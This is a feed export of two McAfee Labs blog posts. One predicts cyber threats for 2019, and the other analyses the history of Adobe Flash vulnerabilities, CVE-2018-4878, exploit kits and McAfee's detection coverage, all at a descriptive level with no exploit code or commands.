McAfee Labs – McAfee Blogs https://securingtomorrow.mcafee.com Securing Tomorrow. Today. Wed, 26 Oct 2016 21:28:03 +0000 en-US hourly 1 https://securingtomorrow.mcafee.com/wp-content/uploads/2018/11/cropped-favicon-32x32.png McAfee Labs – McAfee Blogs https://securingtomorrow.mcafee.com 32 32 McAfee Labs 2019 Threats Predictions Report https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-2019-threats-predictions/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-2019-threats-predictions/#respond Thu, 29 Nov 2018 09:00:11 +0000 https://securingtomorrow.mcafee.com/?p=92746

Our predictions for 2019 move away from simply providing an assessment on the rise or fall of a particular threat, and instead focus on current rumblings we see in the cybercriminal underground that we expect to grow into trends and subsequently threats in the wild.

The post McAfee Labs 2019 Threats Predictions Report appeared first on McAfee Blogs.

]]>

These predictions were written by Eoin Carroll, Taylor Dunton, John Fokker, German Lancioni, Lee Munson, Yukihiro Okutomi, Thomas Roccia, Raj Samani, Sekhar Sarukkai, Dan Sommer, and Carl Woodward.

As 2018 draws to a close, we should perhaps be grateful that the year has not been entirely dominated by ransomware, although the rise of the GandCrab and SamSam variants show that the threat remains active. Our predictions for 2019 move away from simply providing an assessment on the rise or fall of a particular threat, and instead focus on current rumblings we see in the cybercriminal underground that we expect to grow into trends and subsequently threats in the wild.

We have witnessed greater collaboration among cybercriminals exploiting the underground market, which has allowed them to develop efficiencies in their products. Cybercriminals have been partnering in this way for years; in 2019 this market economy will only expand. The game of cat and mouse the security industry plays with ransomware developers will escalate, and the industry will need to respond more quickly and effectively than ever before.

Social media has been a part of our lives for more than a decade. Recently, nation-states have infamously used social media platforms to spread misinformation. In 2019, we expect criminals to begin leveraging those tactics for their own gain. Equally, the continued growth of the Internet of Things in the home will inspire criminals to target those devices for monetary gain.

One thing is certain: Our dependency on technology has become ubiquitous. Consider the breaches of identity platforms, with reports of 50 million users being affected. It is no longer the case that a breach is limited to that platform. Everything is connected, and you are only as strong as your weakest link. In the future, we face the question of which of our weakest links will be compromised.

—Raj Samani, Chief Scientist and McAfee Fellow, Advanced Threat Research

Twitter @Raj_Samani

 

Predictions

Cybercriminal Underground to Consolidate, Create More Partnerships to Boost Threats

Artificial Intelligence the Future of Evasion Techniques

Synergistic Threats Will Multiply, Requiring Combined Responses

Misinformation, Extortion Attempts to Challenge Organizations’ Brands

Data Exfiltration Attacks to Target the Cloud

Voice-Controlled Digital Assistants the Next Vector in Attacking IoT Devices

Cybercriminals to Increase Attacks on Identity Platforms and Edge Devices Under Siege

Cybercriminal Underground to Consolidate, Create More Partnerships to Boost Threats

Hidden hacker forums and chat groups serve as a market for cybercriminals, who can buy malware, exploits, botnets, and other shady services. With these off-the-shelf products, criminals of varying experience and sophistication can easily launch attacks. In 2019, we predict the underground will consolidate, creating fewer but stronger malware-as-a-service families that will actively work together. These increasingly powerful brands will drive more sophisticated cryptocurrency mining, rapid exploitation of new vulnerabilities, and increases in mobile malware and stolen credit cards and credentials.

We expect more affiliates to join the biggest families, due to the ease of operation and strategic alliances with other essential top-level services, including exploit kits, crypter services, Bitcoin mixers, and counter-antimalware services. Two years ago, we saw many of the largest ransomware families, for example, employ affiliate structures. We still see numerous types of ransomware pop up, but only a few survive because most cannot attract enough business to compete with the strong brands, which offer higher infection rates as well as operational and financial security. At the moment the largest families actively advertise their goods; business is flourishing because they are strong brands (see GandCrab) allied with other top-level services, such as money laundering or making malware undetectable.

Underground businesses function successfully because they are part of a trust-based system. This may not be a case of “honor among thieves,” yet criminals appear to feel safe, trusting they cannot be touched in the inner circle of their forums. We have seen this trust in the past, for example, with the popular credit card shops in the first decade of the century, which were a leading source of cybercrime until major police action broke the trust model.

As endpoint detection grows stronger, the vulnerable remote desktop protocol (RDP) offers another path for cybercriminals. In 2019 we predict malware, specifically ransomware, will increasingly use RDP as an entry point for an infection. Currently, most underground shops advertise RDP access for purposes other than ransomware, typically using it as a stepping stone to gain access to Amazon accounts or as a proxy to steal credit cards. Targeted ransomware groups and ransomware-as-a-service (RaaS) models will take advantage of RDP, and we have seen highly successful under-the-radar schemes use this tactic. Attackers find a system with weak RDP, attack it with ransomware, and propagate through networks either living off the land or using worm functionality (EternalBlue). There is evidence that the author of GandCrab is already working on an RDP option.

We also expect malware related to cryptocurrency mining will become more sophisticated, selecting which currency to mine on a victim’s machine based on the processing hardware (WebCobra) and the value of a specific currency at a given time.

Next year, we predict the length of a vulnerability’s life, from detection to weaponization, will grow even shorter. We have noticed a trend of cybercriminals becoming more agile in their development process. They gather data on flaws from online forums and the Common Vulnerabilities and Exposures database to add to their malware. We predict that criminals will sometimes take a day or only hours to implement attacks against the latest weaknesses in software and hardware.

We expect to see an increase in underground discussions on mobile malware, mostly focused on Android, regarding botnets, banking fraud, ransomware, and bypassing two-factor authentication security. The value of exploiting the mobile platform is currently underestimated as phones offer a lot to cybercriminals given the amount of access they have to sensitive information such as bank accounts.

Credit card fraud and the demand for stolen credit card details will continue, with an increased focus on online skimming operations that target third-party payment platforms on large e-commerce sites. From these sites, criminals can silently steal thousands of fresh credit cards details at a time. Furthermore, social media is being used to recruit unwitting users, who might not know they are working for criminals when they reship goods or provide financial services.

We predict an increase in the market for stolen credentials—fueled by recent large data breaches and by bad password habits of users. The breaches lead, for example, to the sale of voter records and email-account hacking. These attacks occur daily.

Artificial Intelligence the Future of Evasion Techniques

To increase their chances of success, attackers have long employed evasion techniques to bypass security measures and avoid detection and analysis. Packers, crypters, and other tools are common components of attackers’ arsenals. In fact, an entire underground economy has emerged, offering products and dedicated services to aid criminal activities. We predict in 2019, due to the ease with which criminals can now outsource key components of their attacks, evasion techniques will become more agile due to the application of artificial intelligence. Think the counter-AV industry is pervasive now? This is just the beginning.

In 2018 we saw new process-injection techniques such as “process doppelgänging” with the SynAck ransomware, and PROPagate injection delivered by the RigExploit Kit. By adding technologies such as artificial intelligence, evasion techniques will be able to further circumvent protections.

Different evasions for different malware

In 2018, we observed the emergence of new threats such as cryptocurrency miners, which hijack the resources of infected machines. With each threat comes inventive evasion techniques:

  • Cryptocurrency mining: Miners implement a number of evasion techniques. Minerva Labs discovered WaterMiner, which simply stops its mining process when the victim runs the Task Manager or an antimalware scan.
  • Exploit kits: Popular evasion techniques include process injection or the manipulation of memory space and adding arbitrary code. In-memory injection is a popular infection vector for avoiding detection during delivery.
  • Botnets: Code obfuscation or anti-disassembling techniques are often used by large botnets that infect thousands of victims. In May 2018, AdvisorsBot was discovered using junk code, fake conditional instructions, XOR encryption, and even API hashing. Because bots tend to spread widely, the authors implemented many evasion techniques to slow reverse engineering. They also used obfuscation mechanisms for communications between the bots and control servers. Criminals use botnets for activities such as DDOS for hire, proxies, spam, or other malware delivery. Using evasion techniques is critical for criminals to avoid or delay botnet takedowns.
  • Advanced persistent threats: Stolen certificates bought on the cybercriminal underground are often used in targeted attacks to bypass antimalware detection. Attackers also use low-level malware such as rootkits or firmware-based threats. For example, in 2018 ESET discovered the first UEFI rootkit, LoJax. Security researchers have also seen destructive features used as anti-forensic techniques: The OlympicDestroyer malware targeted the Olympic Games organization and erased event logs and backups to avoid investigation.

Artificial intelligence the next weapon

In recent years, we have seen malware using evasion techniques to bypass machine learning engines. For example, in 2017 the Cerber ransomware dropped legitimate files on systems to trick the engine that classifies files. In 2018, PyLocky ransomware used InnoSetup to package the malware and avoid machine learning detection.

Clearly, bypassing artificial intelligence engines is already on the criminal to-do list; however, criminals can also implement artificial intelligence in their malicious software. We expect evasion techniques to begin leveraging artificial intelligence to automate target selection, or to check infected environments before deploying later stages and avoiding detection.

Such implementation is game changing in the threat landscape. We predict it will soon be found in the wild.

Synergistic Threats Will Multiply, Requiring Combined Responses

This year we have seen cyber threats adapt and pivot faster than ever. We have seen ransomware evolving to be more effective or operate as a smoke screen. We have seen cryptojacking soar, as it provides a better, and safer, return on investment than ransomware. We can still see phishing going strong and finding new vulnerabilities to exploit. We also noticed fileless and “living off the land” threats are more slippery and evasive than ever, and we have even seen the incubation of steganography malware in the Pyeongchang Olympics campaign. In 2019, we predict attackers will more frequently combine these tactics to create multifaced, or synergistic, threats.

What could be worse?

Attacks are usually centered on the use of one threat. Bad actors concentrate their efforts on iterating and evolving one threat at a time for effectiveness and evasion. When an attack is successful, it is classified as ransomware, cryptojacking, data exfiltration, etc., and defenses are put in place. At this point, the attack’s success rate is significantly reduced. However, if a sophisticated attack involves not one but five top-notch threats synergistically working together, the defense panorama could become very blurry. The challenge arises when an attempt is made to identify and mitigate the attack. Because the ultimate attack goals are unknown, one might get lost in the details of each threat as it plays a role in the chain.

One of the reasons synergic threats are becoming a reality is because bad actors are improving their skills by developing foundations, kits, and reusable threat components. As attackers organize their efforts into a black-market business model, they can focus on adding value to previous building blocks. This strategy allows them to orchestrate multiple threats instead of just one to reach their goals.

An example is worth a thousand words

Imagine an attack that starts with a phishing threat—not a typical campaign using Word documents, but a novel technique. This phishing email contains a video attachment. When you open the video, your video player does not play and prompts you to update the codec. Once you run the update, a steganographic polyglot file (a simple GIF) is deployed on your system. Because it is a polyglot (a file that conforms to more than one format at the same time), the GIF file schedules a task that fetches a fileless script hosted on a compromised system. That script running in memory evaluates your system and decides to run either ransomware or a cryptocurrency miner. That is a dangerous synergistic threat in action.

The attack raises many questions: What are you dealing with? Is it phishing 2.0? Is it stegware? Is it fileless and “living off the land”? Cryptojacking? Ransomware? It is everything at the same time.

This sophisticated but feasible example demonstrates that focusing on one threat may not be enough to detect or remediate an attack. When you aim to classify the attack into a single category, you might lose the big picture and thus be less effective mitigating it. Even if you stop the attack in the middle of the chain, discovering the initial and final stages is as important for protecting against future attempts.

Be curious, be creative, connect your defenses

Tackling sophisticated attacks based on synergic threats requires questioning every threat. What if this ransomware hit was part of something bigger? What if this phishing email pivots to a technique that employees are not trained for? What if we are missing the real goal of the attack?

Bearing these questions in mind will not only help capture the big picture, but also get the most of security solutions. We predict bad actors will add synergy to their attacks, but cyber defenses can also work synergistically.

Cybercriminals to Use Social Media Misinformation, Extortion Campaigns to Challenge Organizations’ Brands

The elections were influenced, fake news prevails, and our social media followers are all foreign government–controlled bots. At least that’s how the world feels sometimes. To say recent years have been troubled for social media companies would be an understatement. During this period a game of cat and mouse has ensued, as automated accounts are taken down, adversaries tactics evolve, and botnet accounts emerge looking more legitimate than ever before. In 2019, we predict an increase of misinformation and extortion campaigns via social media that will focus on brands and originate not from nation-state actors but from criminal groups.

Nation-states leverage bot battalions to deliver messages or manipulate opinion, and their effectiveness is striking. Bots often will take both sides of a story to spur debate, and this tactic works. By employing a system of amplifying nodes, as well as testing the messaging (including hashtags) to determine success rates, botnet operators demonstrate a real understanding of how to mold popular opinion on critical issues.

In one example, an account that was only two weeks old with 279 followers, most of which were other bots, began a harassment campaign against an organization. By amplification, the account generated an additional 1,500 followers in only four weeks by simply tweeting malicious content about their target.

Activities to manipulate public opinion have been well documented and bots well versed in manipulating conversations to drive agendas stand ready. Next year we expect that cybercriminals will repurpose these campaigns to extort companies by threatening to damage their brands. Organizations face a serious danger.

Data Exfiltration Attacks to Target the Cloud

In the past two years, enterprises have widely adopted the Software-as-a-Service model, such as Office 365, as well as Infrastructure- and Platform-as-a-Service cloud models, such as AWS and Azure. With this move, far more corporate data now resides in the cloud. In 2019, we expect a significant increase in attacks that follow the data to the cloud.

With the increased adoption of Office 365, we have noticed a surge of attacks on the service— especially attempts to compromise email. One threat the McAfee cloud team uncovered was the botnet KnockKnock, which targeted system accounts that typically do not have multifactor authentication. We have also seen the emergence of exploits of the trust model in the Open Authorization standard. One was launched by Fancy Bear, the Russian cyber espionage group, phishing users with a fake Google security app to gain access to user data.

Similarly, during the last couple of years we have seen many high-profile data breaches attributed to misconfigured Amazon S3 buckets. This is clearly not the fault of AWS. Based on the shared responsibility model, the customer is on the hook to properly configure IaaS/PaaS infrastructure and properly protect their enterprise data and user access. Complicating matters, many of these misconfigured buckets are owned by vendors in their supply chains, rather than by the target enterprises. With access to thousands of open buckets and credentials, bad actors are increasingly opting for these easy pickings.

McAfee has found that 21% of data in the cloud is sensitive—such as intellectual property, and customer and personal data—according to the McAfee Cloud Adoption and Risk Report. With a 33% increase in users collaborating on this data during the past year, cybercriminals know how to seek more targets:

  • Cloud-native attacks targeting weak APIs or ungoverned API endpoints to gain access to the data in SaaS as well as in PaaS and serverless workloads
  • Expanded reconnaissance and exfiltration of data in cloud databases (PaaS or custom applications deployed in IaaS) expanding the S3 exfiltration vector to structured data in databases or data lakes
  • Leveraging the cloud as a springboard for cloud-native man-in-the-middle attacks (such as GhostWriter, which exploits publicly writable S3 buckets introduced due to customer misconfigurations) to launch cryptojacking or ransomware attacks into other variants of MITM attacks.

Voice-Controlled Digital Assistants the Next Vector in Attacking IoT Devices

As tech fans continue to fill their homes with smart gadgets, from plugs to TVs, coffee makers to refrigerators, and motion sensors to lighting, the means of gaining entry to a home network are growing rapidly, especially given how poorly secured many IoT devices remain.

But the real key to the network door next year will be the voice-controlled digital assistant, a device created in part to manage all the IoT devices within a home. As sales increase—and an explosion in adoption over the holiday season looks likely—the attraction for cybercriminals to use assistants to jump to the really interesting devices on a network will only continue to grow.

For now, the voice assistant market is still taking shape, with many brands still looking to dominate the market, in more ways than one, and it is unclear whether one device will become ubiquitous. If one does take the lead, its security features will quite rightly fall under the microscope of the media, though not perhaps before its privacy concerns have been fully examined in prose.

(Last year we highlighted privacy as the key concern for home IoT devices. Privacy will continue to be a concern, but cybercriminals will put more effort into building botnets, demanding ransoms, and threatening the destruction of property of both homes and businesses).

This opportunity to control a home’s or office’s devices will not go unnoticed by cybercriminals, who will engage in an altogether different type of writing in relation to the market winner, in the form of malicious code designed to attack not only IoT devices but also the digital assistants that are given so much license to talk to them.

Smartphones have already served as the door to a threat. In 2019, they may well become the picklock that opens a much larger door. We have already seen two threats that demonstrate what cybercriminals can do with unprotected devices, in the form of the Mirai botnet, which first struck in 2016, and IoT Reaper, in 2017. These IoT malware appeared in many variants to attack connected devices such as routers, network video recorders, and IP cameras. They expanded their reach by password cracking and exploiting known vulnerabilities to build worldwide robot networks.

Next year we expect to see two main vectors for attacking home IoT devices: routers and smartphones/ tablets. The Mirai botnet demonstrated the lack of security in routers. Infected smartphones, which can already monitor and control home devices, will become one of the top targets of cybercriminals, who will employ current and new techniques to take control.

Malware authors will take advantage of phones and tablets, those already trusted controllers, to try to take over IoT devices by password cracking and exploiting vulnerabilities. These attacks will not appear suspicious because the network traffic comes from a trusted device. The success rate of attacks will increase, and the attack routes will be difficult to identify. An infected smartphone could cause the next example of hijacking the DNS settings on a router. Vulnerabilities in mobile and cloud apps are also ripe for exploitation, with smartphones at the core of the criminals’ strategy.

Infected IoT devices will supply botnets, which can launch DDoS attacks, as well as steal personal data. The more sophisticated IoT malware will exploit voice-controlled digital assistants to hide its suspicious activities from users and home-network security software. Malicious activities such as opening doors and connecting to control servers could be triggered by user voice commands (“Play music” and “What is today’s weather?”). Soon we may hear infected IoT devices themselves exclaiming: “Assistant! Open the back door!”

Cybercriminals to Increase Attacks on Identity Platforms and Edge Devices Under Siege

Large-scale data breaches of identity platforms—which offer centralized secure authentication and authorization of users, devices, and services across IT environments—have been well documented in 2018. Meanwhile, the captured data is being reused to cause further misery for its victims. In 2019, we expect to see large-scale social media platforms implement additional measures to protect customer information. However, as the platforms grow in numbers, we predict criminals will further focus their resources on such attractive, data-rich environments. The struggle between criminals and big-scale platforms will be the next big battleground.

Triton, malware that attacks industrial control systems (ICS), has demonstrated the capabilities of adversaries to remotely target manufacturing environments through their adjacent IT environments. Identity platform and “edge device” breaches will provide the keys to adversaries to launch future remote ICS attacks due to static password use across environments and constrained edge devices, which lack secure system requirements due to design limitations. (An edge device is any network-enabled system hardware or protocol within an IoT product.) We expect multifactor authentication and identity intelligence will become the best methods to provide security in this escalating battle. We also predict identity intelligence will complement multifactor authentication to strengthen the capabilities of identity platforms.

Identity is a fundamental component in securing IoT. In these ecosystems, devices and services must securely identify trusted devices so that they can ignore the rest. The identity model has shifted from user centric in traditional IT systems to machine centric for IoT systems. Unfortunately, due to the integration of operational technology and insecure “edge device” design, the IoT trust model is built on a weak foundation of assumed trust and perimeter-based security.

At Black Hat USA and DEF CON 2018, 30 talks discussed IoT edge device exploitation. That’s a large increase from just 19 talks on the topic in 2017. The increase in interest was primarily in relation to ICS, consumer, medical, and “smart city” verticals. (See Figure 1.) Smart edge devices, combined with high-speed connectivity, are enabling IoT ecosystems, but the rate at which they are advancing is compromising the security of these systems.

Figure 1: The number of conference sessions on the security of IoT devices has increased, matching the growing threat to poorly protected devices. 

Most IoT edge devices provide no self-defense (isolating critical functions, memory protection, firmware protection, least privileges, or security by default) so one successful exploit owns the device. IoT edge devices also suffer from “break once, run everywhere” attacks—due to insecure components used across many device types and verticals. (See articles on WingOS and reverse engineering.)

McAfee Advanced Threat Research team engineers have demonstrated how medical device protocols can be exploited to endanger human life and compromise patients’ privacy due to assumed trust. These examples illustrate just a few of many possible scenarios that lead us to believe adversaries will choose IoT edge devices as the path of least resistance to achieve their objectives. Servers have been hardened over the last decade, but IoT hardware is far behind. By understanding an adversary’s motives and opportunities (attack surface and access capability), we can define a set of security requirements independent of a specific attack vector.

Figure 2 gives a breakdown of the types of vulnerabilities in IoT edge devices, highlighting weak points to address by building identity and integrity capabilities into edge hardware to ensure these devices can deflect attacks.

Figure 2: Insecure protocols are the primary attack surface in IoT edge devices.

IoT security must begin on the edge with a zero-trust model and provide a hardware root of trust as the core building block for protecting against hack and shack attacks and other threats. McAfee predicts an increase in compromises on identity platforms and IoT edge devices in 2019 due to the adoption of smart cities and increased ICS activity.

The post McAfee Labs 2019 Threats Predictions Report appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-2019-threats-predictions/feed/ 0
Despite Decline in Use of Adobe Flash, Vulnerabilities Will Continue to Cause Concern https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/despite-decline-use-adobe-flash-vulnerabilities-will-continue-cause-concern/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/despite-decline-use-adobe-flash-vulnerabilities-will-continue-cause-concern/#respond Tue, 17 Apr 2018 13:00:02 +0000 https://securingtomorrow.mcafee.com/?p=88523 This post was researched and written by Brook Schoenfield with the assistance of Tim Hux, Abhishek Karnik, Asheer Malhotra, and Steve Povolny McAfee Advanced Threat Research team analysts have studied Adobe Flash Player for years because it is a popular target for attacks. As always, we advise customers to remain current with McAfee’s latest DAT […]

The post Despite Decline in Use of Adobe Flash, Vulnerabilities Will Continue to Cause Concern appeared first on McAfee Blogs.

]]>
This post was researched and written by Brook Schoenfield with the assistance of Tim Hux, Abhishek Karnik, Asheer Malhotra, and Steve Povolny

McAfee Advanced Threat Research team analysts have studied Adobe Flash Player for years because it is a popular target for attacks. As always, we advise customers to remain current with McAfee’s latest DAT versions. In this post we want to provide some insight into the history of Flash exploitation and possible future trends.

Morphisec published an analysis of a new set of Flash flaws, CVE-2018-4878, that have been exploited in the wild. Hardik Shah of McAfee Labs posted a technical analysis of CVE-2018-4878’s mechanisms on March 2:

“The number of Flash Player exploits has recently declined, due to Adobe’s introduction of various measures to strengthen Flash’s security. Occasionally, however, an exploit still arises. On January 31, Kr-Cert reported a zero-day vulnerability, identified as CVE-2018-4878, being exploited in the field. (Adobe has released an update to fix this flaw.)”

Details about McAfee protections covering CVE-2018-4878 appear at the end of this article.

This post will examine the history of Flash’s issues since the first Common Vulnerabilities and Exposures (CVE) list for Flash was published in 2006. By examining some of the data, both users and owners of sites that employ Flash can better understand Flash flaws and why Flash will continue to interest attackers, even though Adobe will discontinue development of Flash in 2020.

We examined historical Flash data regarding vulnerabilities. We also accounted for the current distribution and uses of Flash. Through this analysis, we believe that despite Adobe announcing Flash’s end of life, a number of sites will continue to use and depend upon Flash for at least the immediate future, even as sites convert to alternative technologies. (See the list of example sites, below.) Flash continues to offer attackers an exploitable collection of flaws for the immediate future.

The following chart uses CVE data. Although not every exploitable and exploited condition receives a CVE entry, most flaws that are discovered through security research or reported against major software vendors’ products eventually gains a CVE number that is posted to the CVE database kept by Mitre. Therefore, CVE offers a convenient repository of vulnerability data to aid research.

Searching the entire database for every instance of “Flash Player” or “Adobe Flash Player” returned 1,050 CVE entries from the years 2006-2017.

There was a steady increase in reported vulnerabilities between 2006 and 2014. Then we saw a big jump in 2015 and 2016. Of the 1,050 issues, about 79% (830) gave attackers some sort of code execution capability, though not every one of those 830 flaws allowed remote code execution. Still, an attacker gains a significant advantage from running any code. The McAfee Labs analysis shows that CVE-2018-4878 was another example of remote code execution, which usually leads to full compromise. This point suggests that Flash vulnerabilities will remain a significant target.

The data source CVE Details offers the following distribution of Flash CVE vulnerabilities:

Source: CVE Details.

In 2015 through 2017, 81% of flaws resulted in code execution of one form or another.

CVE Details also assigns Flash issues with Common Vulnerability Scoring System scores. Many issues from 2015–2017 earned scores above 9, which is considered severe.

  • 2015: 294 vulnerabilities ≥ 9
  • 2016: 224 vulnerabilities ≥ 9
  • 2017: 60 vulnerabilities ≥ 9

These severe scores further highlight why attackers remain interested in exploiting Flash weaknesses; they offer significant “attacker value” for the effort required to exploit them.  Looking at the historical distribution of issues, we see a spike in 2015. Then the spike drops off. It was in the latter part of 2014 that Adobe adopted a change in their software security strategy.

“’Finding and fixing bugs isn’t the way to go, it’s … making it harder and more expensive for [attackers] to achieve an outcome,” said Adobe’s Chief Security Officer, Brad Arkin, at a conference in October 2014. He urged organizations to stop patching every vulnerability and instead increase the cost of exploitation to frustrate attackers. “The bad guys aren’t stupid,” he added. “They are going to apply their resources in the [most] cost efficient way possible, and so they seek to minimize the cost of developing an exploit.”

Adobe’s shift in software security strategy has been to make exploiting issues prohibitively expensive so that attackers will find easier, less resource-intensive, and perhaps more reliable methods. Rather than chase every flaw, Adobe’s approach focuses on building defensive techniques that protect vulnerabilities, just as standard secure development life cycle techniques attempt to prevent new vulnerabilities from being released.

Little in software development happens immediately, especially on a large scale. There is typically a lag—usually one to two years—between a strategy shift and results. In any event, the first issues to be eliminated are often the easiest to fix. As the program’s effectiveness improves, resources are available to address harder problems.

Brad Arkin spoke about a strategy shift in the fall of 2014. We expected that shift to take time, and that is what we see in the data: In 2016, the number of newly discovered issues began to decline. However, the steep increase in vulnerabilities in 2015 and 2016 requires some additional examination.

When security researchers focus on a code base, they generally start by finding the easiest-to-discover issues. As these are found and fixed, researchers probe deeper, shifting to techniques that increase in difficulty. Due to this ever-increasing difficulty, we often see a decrease in discoveries; it takes more time and effort to uncover tricky issues.

Coupling the increasing difficulty of finding problems against the increase in effectiveness of a software security program, we find a distribution like what we have seen with Flash CVE reporting from 2015 through 2017. Until 2015, attackers exploited relatively easy-to-find cross-site scripting errors, but these largely disappeared after 2014. Suddenly, in 2015, there is a huge jump in the discovery of difficult-to-uncover memory issues and code execution opportunities. The leap in the CVE numbers reflects more technically challenging issues surfacing just as Adobe’s software strategy was making its shift.

The new strategy had not had time to be fully effective by 2015. Plus, Flash, like all complex software, carries a large amount of legacy code. Just when researchers were digging deeper and harder into the code base, Adobe’s software security change required not just chasing vulnerability fixes, but also generating protective code and designs—all of which take time to implement. This typical situation explains the influx of critical new issues in 2015, and their subsequent continuous reductions.

Still, no single or collection of security techniques is perfect. In 2017, Flash marked 70 new issues. So far in 2018, three have been discovered. The most recent, CVE-2018-4878, is technically challenging and appears to be within protections that Adobe has placed within byte arrays to prevent these memory structures from being misused. “[CVE-2018-4878] bypassed the byte array mitigation feature that was introduced to prevent ‘length corruption’ attacks in Flash,” wrote McAfee’s Hardik Shah in “How Hackers Bypassed an Adobe Flash Protection Mechanism.”

It is just as possible to unwittingly add an exploitation opportunity when implementing software protections as when writing any other code. Of the 73 vulnerabilities discovered in 2017 and 2018, there is no method, without tracking code changes, to know when each of the flaws was introduced. It is likely that some of them arose in code carried forward from earlier versions, that is, from legacy code. Software implementers have a compelling argument to reuse as much code as possible in each new version. It is cheaper because it saves time.

In a product with a history as long as Flash’s (more than 10 years), some of its code was written for a different threat landscape, not for today’s attackers and their more sophisticated tools and techniques. It is reasonable to suspect that a significant portion of the last two years’ worth of newly discovered issues are in code that has been carried into the latest versions. Those flaws contrast with the most recent vulnerability, CVE-2018-4878, which bypasses and abuses protections that were likely put into place after Adobe’s shift in strategy. The code that CVE-2018-4878 abuses was intended to make exploitation of byte arrays “more expensive.”

To measure the popularity of Flash, we turned to Q-Success’ W3Techs web survey data. The following table shows the use of four client-side languages, with Flash declining steadily since 2011. JavaScript, on the other hand, today is nearly ubiquitous, at 95%. The two leading languages are graphed in the chart that follows the table.

Historical Yearly Trends in the Usage of Client-Side Programming Languages for Websites

Usage (in % of sites) of Client-Side Programming Languages for Websites

Chart data as of March 8, 2018. Source for table and chart: © 2009-2018 Q-Success DI Gelbmann GmbH

From W3Techs data, we can see that Flash use has declined steadily, to only 5% of surveyed web sites. Doesn’t that suggest that Flash exploitation would also decline or even stop? Unfortunately, it does not.

The following W3Techs chart shows that although the number of sites using Flash is fairly low, enough high-traffic sites employ it to keep Flash popular.

High-Traffic Sites That Still Use Adobe Flash

Source: PublicWWW.

If popular websites continue to use Flash, then Flash Player will remain in use on users’ machines for some time. Adobe has promised to continue supporting Flash Player until the end of 2020. Unfortunately, this means merely that software updates, features, and patches will no longer be added; it does not effectively change Flash’s overall use. Only the end of websites requiring Flash will remove its vulnerabilities from the security picture.

A highly targeted attack may need to compromise only a single computer to access an organization’s digital infrastructure and gain access to strategic targets. That single computer could be running an unpatched or dated version of Flash.

As the use of Flash has declined, client-side JavaScript has become the de facto browser programming language. Yet JavaScript’s takeover does not fully solve the problem because it can deliver a Flash payload. Although some of the Flash vulnerabilities we have analyzed can be exploited remotely, many cannot. An attacker often requires some interaction by the victim to run a Flash exploit. JavaScript has become an increasingly common delivery mechanism for this purpose.

DIY: Exploits in a Kit

Perhaps more important to attackers is the easy availability of Flash exploits ready to use in numerous exploit “kits.” Kits package all the necessary code to exercise a set of known vulnerabilities. Access to readily available exploits in a kit means far less attacker effort. Kits also “lower the technical bar.” Attackers need not understand how an exploit works; they can simply leverage the packages without knowing the technical details.

Old Flash exploits are still available, along with new ones such as CVE-2018-4878, according to Tim Hux of the McAfee Advanced Threat Research team. “The Bizarro Sundown (aka GreenFlash) and ThreadKit exploit kits added the exploit to their lists last month,” he said. “The Rig and Magnitude exploit kits added this flaw to their arsenals this month.”

Adding a new exploit does not mean the old ones are no longer available. Exploit kits are additive. The Rig kit, which appeared in 2014, contains the following Flash exploits:

CVE-2013-0634           CVE-2015-3113

CVE-2014-0497           CVE-2015-5119

CVE-2014-0515           CVE-2015-5122

CVE-2014-0569           CVE-2015-7645

CVE-2015-0311           CVE-2016-1019

CVE-2015-0359           CVE-2016-4117

CVE-2015-3090

Old exploits do not die, they just get used less often as software is upgraded to fix earlier versions. If an attacker finds a vulnerable version of Flash in use, kits will have exploits to employ.

Conclusion

It is difficult, and perhaps impossible, to prove that software is error free. (Alan Turing’s famous proof mathematically shows that automated processes cannot be proved correct through automation.) As famed computer scientist Edsger Dijkstra noted, “Testing shows the presence, not the absence of bugs.” (“Software Engineering Techniques,” NATO Science Committee, page 16.) In other words, even software that has passed a battery of security tests before release may still contain exploitable conditions.

From our analysis of the relationship between Flash CVEs and Flash’s ongoing use, especially on high-traffic sites, McAfee’s Advanced Threat Research team believes that Flash vulnerabilities will continue to offer attackers a means toward malicious ends. However, Adobe’s shift in security strategy is an excellent step in reducing the number of newly discovered issues, which should maintain their decline.

McAfee protections for CVE-2018-4878

McAfee’s malware engine can parse Flash for malicious content. Customers who have turned on automatic updates or who update regularly have been protected against seven new variants of CVE-2018-4878 since February 6.

McAfee Host Intrusion Prevention signatures 8001, 1149, 6011, and 6010 detect CVE-2018-4878 exploits.

  • 8001 and 1149: On by default, but log only, not block. Customers can select block.
    • 8001: Suspicious exploit behavior, log only, available in HIPS, not in ENS
    • 1149: CMD tool access by a Windows mail client or Internet Explorer, log only, available in HIPS, not in ENS
  • 6011 and 6010: Off by default. Enabling them may result in an increase of false positives.
    • 6011: Generic application invocation protection, not present in ENS
    • 6010: Generic application hooking protection, not present in ENS

Recent campaigns exploiting Flash Player Issues

CVE-2018-4878: Currently being exploited in a massive spam mail campaign.

CVE-2017-11292: Black Oasis Advanced Persistent Threat

CVE-2016-4117: Hidden Cobra APT/CryptXXX Ransomware/Erebus APT

CVE-2016-1019: Cerber and Locky ransomware/Hidden Cobra APT

CVE-2015-3133: CryptoWall Ransomware

CVE-2015-0311: TeslaCrypt and FessLeak Ransomware

CVE-2014-8439: Cerber Ransomware

CVE-2015-7645: Cerber and Alpha Crypt Ransomware

McAfee does not control or audit third-party benchmark data or the websites referenced in this document. You should visit the referenced website and confirm whether referenced data is accurate.
McAfee and the McAfee logo are trademarks or registered trademarks of McAfee, LLC or its subsidiaries in the US and other countries. Other marks and brands may be claimed as the property of others. Copyright © 2018 McAfee, LLC

The post Despite Decline in Use of Adobe Flash, Vulnerabilities Will Continue to Cause Concern appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/despite-decline-use-adobe-flash-vulnerabilities-will-continue-cause-concern/feed/ 0
